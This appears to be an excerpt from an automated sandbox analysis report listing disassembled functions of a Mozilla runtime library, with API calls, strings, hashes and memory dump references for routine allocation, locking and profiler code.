Opcode ID: f5e8c852c440c27b1338d275073de10054f9b90000d08325582b54c06ad92096
Instruction ID: cbbc08df5ab4f60c0d163c40844726311ab5c4c273d6caf93b7eee68114910d9
Opcode Fuzzy Hash: f5e8c852c440c27b1338d275073de10054f9b90000d08325582b54c06ad92096
Instruction Fuzzy Hash: 864190B5604644DFCB10DF69C880A9ABBF1FF8A318F40851DE95A93B40DB31A815CF9A

Function 6C5D7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5D7EA7
malloc.MOZGLUE(00000001), ref: 6C5D7EB3

Part of subcall function 6C5DCAB0: EnterCriticalSection.KERNEL32(?), ref: 6C5DCB49
Part of subcall function 6C5DCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C5DCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C5D7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C5D7F19
malloc.MOZGLUE(?), ref: 6C5D7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5D7F4D

Strings

d, xrefs: 6C5D7F89

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 9aceb9b682b47c25e4f5dee9943319623f5a626fbcb8aea7b04d26911c5af811
Instruction ID: f4a3ed533023a93dbf1837ade17cf5fa6e933c0700e2b793b98a1bcc3116a903
Opcode Fuzzy Hash: 9aceb9b682b47c25e4f5dee9943319623f5a626fbcb8aea7b04d26911c5af811
Instruction Fuzzy Hash: 0C311871E0435897DF00EB29CC449FEB778EF96208F059628ED4957612FB30B988C399

Function 6C5D3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C5D3EEE
RtlFreeHeap.NTDLL ref: 6C5D3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C5D4006
RtlFreeHeap.NTDLL ref: 6C5D40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C5D3CCC), ref: 6C5D40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C5D3CCC), ref: 6C5D40C2
RtlFreeHeap.NTDLL ref: 6C5D4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C5D3CCC), ref: 6C5D4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C5D3CCC), ref: 6C5D4157

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 6e7932210bb3be77aa62918bd6b9ba6c03e46a9cee4ba58ca753b79f432c8e9a
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: D2A18FB5A00316CFDB40CF68C88065AB7B5FF48308F2645A9D909AF752D771E886CFA4

Function 6C5C2030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C5E3F47,?,?,?,6C5E3F47,6C5E1A70,?), ref: 6C5C207F
memset.VCRUNTIME140(?,000000E5,6C5E3F47,?,6C5E3F47,6C5E1A70,?), ref: 6C5C20DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C5E3F47,6C5E1A70,?), ref: 6C5C211A
EnterCriticalSection.KERNEL32(6C64E744,?,6C5E3F47,6C5E1A70,?), ref: 6C5C2145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C5E3F47,6C5E1A70,?), ref: 6C5C21BA
EnterCriticalSection.KERNEL32(6C64E744,?,6C5E3F47,6C5E1A70,?), ref: 6C5C21E0
LeaveCriticalSection.KERNEL32(6C64E744,?,6C5E3F47,6C5E1A70,?), ref: 6C5C2232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C5C2253, 6C5C2268
MOZ_CRASH(), xrefs: 6C5C227D

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 7a0a68fae879cb8d78d6ab07e6e861b8bc8a9c822aa61ecb482658cdd0414f57
Instruction ID: 72177b16893dadad3c8847d392cd8e27b93b1bb1feccce2d12d8c11c736a1118
Opcode Fuzzy Hash: 7a0a68fae879cb8d78d6ab07e6e861b8bc8a9c822aa61ecb482658cdd0414f57
Instruction Fuzzy Hash: F861C631F002168FCB04DEA9CC89B6E77B1EF85328F25963DE525A7A94D7709D00CB96

Function 6C619D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C618273), ref: 6C619D65
free.MOZGLUE(6C618273,?), ref: 6C619D7C
free.MOZGLUE(?,?), ref: 6C619D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C619E0F
free.MOZGLUE(6C61946B,?,?), ref: 6C619E24
free.MOZGLUE(?,?,?), ref: 6C619E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C619EC8
free.MOZGLUE(6C61946B,?,?,?), ref: 6C619EDF
free.MOZGLUE(?,?,?,?), ref: 6C619EF5

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 54173dc28736ad06bbc8728b0545bd945018299a99984abf491fed4c54636613
Instruction ID: 824f78254bf0265331dbd1c97351cd6d4768a2d67c5679aa7a92048cee96e99c
Opcode Fuzzy Hash: 54173dc28736ad06bbc8728b0545bd945018299a99984abf491fed4c54636613
Instruction Fuzzy Hash: 3A719F70909B41CBD716CF18C88055BF3F4FF99319B84965DE89A9BB02EB30E885CB85

Function 6C61DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C61DDCF

Part of subcall function 6C5FFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FFA4B

Part of subcall function 6C6190E0: free.MOZGLUE(?,00000000,?,?,6C61DEDB), ref: 6C6190FF
Part of subcall function 6C6190E0: free.MOZGLUE(?,00000000,?,?,6C61DEDB), ref: 6C619108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C61DE0D
free.MOZGLUE(00000000), ref: 6C61DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C61DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C61DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C61DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C60DEFD,?,6C5D4A68), ref: 6C61DF32

Part of subcall function 6C61DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C61DB86
Part of subcall function 6C61DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C61DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C60DEFD,?,6C5D4A68), ref: 6C61DF65
free.MOZGLUE(?), ref: 6C61DF80

Part of subcall function 6C5E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5E5EDB
Part of subcall function 6C5E5E90: memset.VCRUNTIME140(ewbl,000000E5,?), ref: 6C5E5F27
Part of subcall function 6C5E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5E5FB2

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 06c5c04f611a689982775abc814ecb0606b6b1e868b446f39089d4cf291d061c
Instruction ID: bc38a7d3e1809a26fff767bcbe16b83954c646db65151f55e3afd238fbb070f2
Opcode Fuzzy Hash: 06c5c04f611a689982775abc814ecb0606b6b1e868b446f39089d4cf291d061c
Instruction Fuzzy Hash: F851A6726096019FD7229B2DC8806AE73B2AFD570FF95411CD51A53F00DB32F91ACB9A

Function 6C625D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C625C8C,?,6C5FE829), ref: 6C625D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C625C8C,?,6C5FE829), ref: 6C625D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C625C8C,?,6C5FE829), ref: 6C625D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C625C8C,?,6C5FE829), ref: 6C625D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C625C8C,?,6C5FE829), ref: 6C625DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C625C8C,?,6C5FE829), ref: 6C625DC9
std::_Facet_Register.LIBCPMT ref: 6C625DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C625C8C,?,6C5FE829), ref: 6C625E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C625C8C,?,6C5FE829), ref: 6C625E45

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: c227074aaef5cc6fd2c3f825f54a7a82fa4c2f7ecc09ed85a9daf77c78d3a273
Instruction ID: d59a9d4d62074e99474b7d419c1af0355542fe23a4c051e246e7f75653769d24
Opcode Fuzzy Hash: c227074aaef5cc6fd2c3f825f54a7a82fa4c2f7ecc09ed85a9daf77c78d3a273
Instruction Fuzzy Hash: 974160307002059FCB14EF69C8D8AAE77F5EF89318F548468E50A97791EB34D805CF59

Function 6C5FCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C5C31A7), ref: 6C5FCDDD

Strings

<jemalloc>, xrefs: 6C5FCF9F, 6C5FCFB3
: (malloc) Error in VirtualFree(), xrefs: 6C5FCFA4, 6C5FCFB8

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: dd0bbb45aa1ebda2987c854878957b757dfe4b5ca1c69d2e0503aff968d0821a
Instruction ID: 3b0c28d126878923b15209955da3c414341ad03013cf409e5857301fddd3ebf1
Opcode Fuzzy Hash: dd0bbb45aa1ebda2987c854878957b757dfe4b5ca1c69d2e0503aff968d0821a
Instruction Fuzzy Hash: D631A6317402055BFB29EE65CC45BAE7775AB81758F20C424F625ABA80DB70E502CF99

Function 6C5CECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5CF100: LoadLibraryW.KERNEL32(shell32,?,6C63D020), ref: 6C5CF122
Part of subcall function 6C5CF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5CF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C5CED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5CEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C5CEDCC
CreateFileW.KERNEL32 ref: 6C5CEE08
free.MOZGLUE(00000000), ref: 6C5CEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C5CEE32

Part of subcall function 6C5CEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C5CEBB5
Part of subcall function 6C5CEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C5FD7F3), ref: 6C5CEBC3
Part of subcall function 6C5CEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C5FD7F3), ref: 6C5CEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C5CEDC1

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 121872ca4725f2ea9bc232081735533d3fb3256b6702e3aafb5eb2ae1737522c
Instruction ID: dbc3a35c1e21f317ce6ecd19c3acf40dce091f4986e472a2e143677ebdddc0b6
Opcode Fuzzy Hash: 121872ca4725f2ea9bc232081735533d3fb3256b6702e3aafb5eb2ae1737522c
Instruction Fuzzy Hash: 1851C271E05214DBDB00DFA8CC826EEB7B0AF99358F44992DE8556B740E7706948CBA3

Function 6C63A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C63A565

Part of subcall function 6C63A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C63A4BE
Part of subcall function 6C63A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C63A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C63A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C63A6B6

Strings

z, xrefs: 6C63A6AE
0, xrefs: 6C63A5FB

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 57d8df469e0a6e630600a80f93fb3f641379bdac14aff55a8dc96896c8d51d0a
Instruction ID: fa9217e1d5df81b894691063e93726f08b92baf5fd3bc0783da1d6cac6235350
Opcode Fuzzy Hash: 57d8df469e0a6e630600a80f93fb3f641379bdac14aff55a8dc96896c8d51d0a
Instruction Fuzzy Hash: 5A414871A087459FC741DF68C480A8FBBE4BFCA354F40AA2EF49987651E730D549CB86

Function 6C609420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C5FAB89: EnterCriticalSection.KERNEL32(6C64E370,?,?,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284), ref: 6C5FAB94
Part of subcall function 6C5FAB89: LeaveCriticalSection.KERNEL32(6C64E370,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5FABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5D4A68), ref: 6C60945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C609470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C609482
__Init_thread_footer.LIBCMT ref: 6C60949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C609459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C60947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C60946B

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 92adfeb78de334deabcc62053a2bdf03d89760a9cbca5d4ab9cf78916e9eb350
Instruction ID: 1df93ff6169b16b6cbe1c7ac1e5e99916ca9d4d2fda65a9da0547b5c4e95d727
Opcode Fuzzy Hash: 92adfeb78de334deabcc62053a2bdf03d89760a9cbca5d4ab9cf78916e9eb350
Instruction Fuzzy Hash: E8012830B0010187D714AB5EDA40ACA33B6DF0536DF05C536E906D6B42EA22D8658D5F

Function 6C610F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C610F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C610F88
GetCurrentThreadId.KERNEL32 ref: 6C610FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C611067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C6110A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C61114B

Part of subcall function 6C608AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C621563), ref: 6C608BD5

free.MOZGLUE(?), ref: 6C611174
free.MOZGLUE(?), ref: 6C611186

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: cb8ce45582fb284813e1d67414ba0d10ab56e377043dabe0b61fb9e4eb146c72
Instruction ID: 9753939dac5cd1178ff87ccddb6274e03505c2399fcaf480bf24379c8da32023
Opcode Fuzzy Hash: cb8ce45582fb284813e1d67414ba0d10ab56e377043dabe0b61fb9e4eb146c72
Instruction Fuzzy Hash: 6361E475A083409FDB10DF29C88079AB7F5BFD6319F04891DE88947B11EB31E859CB8A

Function 6C5CB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C5CB61E,?,?,?,?,?,00000000), ref: 6C5CB6AC

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5CB61E,?,?,?,?,?,00000000), ref: 6C5CB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C5CB61E,?,?,?,?,?,00000000), ref: 6C5CB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5CB61E,?,?,?,?,?,00000000), ref: 6C5CB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C5CB61E,?,?,?,?,?,00000000), ref: 6C5CB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C5CB61E), ref: 6C5CB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C5CB61E,?,?,?,?,?,00000000), ref: 6C5CB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C5CB61E,?,?,?,?,?,00000000), ref: 6C5CB79A

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: e4b4aff44a01c519b9e6430973b3108d7c4abd9f0a2084df8af1838e9a5b82ed
Instruction ID: 4edf0fa52a92d84cb9c008f34ea12eee612482a360916a5540f5b5b6423ff645
Opcode Fuzzy Hash: e4b4aff44a01c519b9e6430973b3108d7c4abd9f0a2084df8af1838e9a5b82ed
Instruction Fuzzy Hash: 5541B6B2E001159FCB04EFA8DC806AEB7F5FB85324F250669E825E7780E731AD1487D6

Function 6C5CEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C645104), ref: 6C5CEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5CEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5CEFEC
free.MOZGLUE(?), ref: 6C5CF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5CF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C5CF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5CF065
moz_xmalloc.MOZGLUE ref: 6C5CF072

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
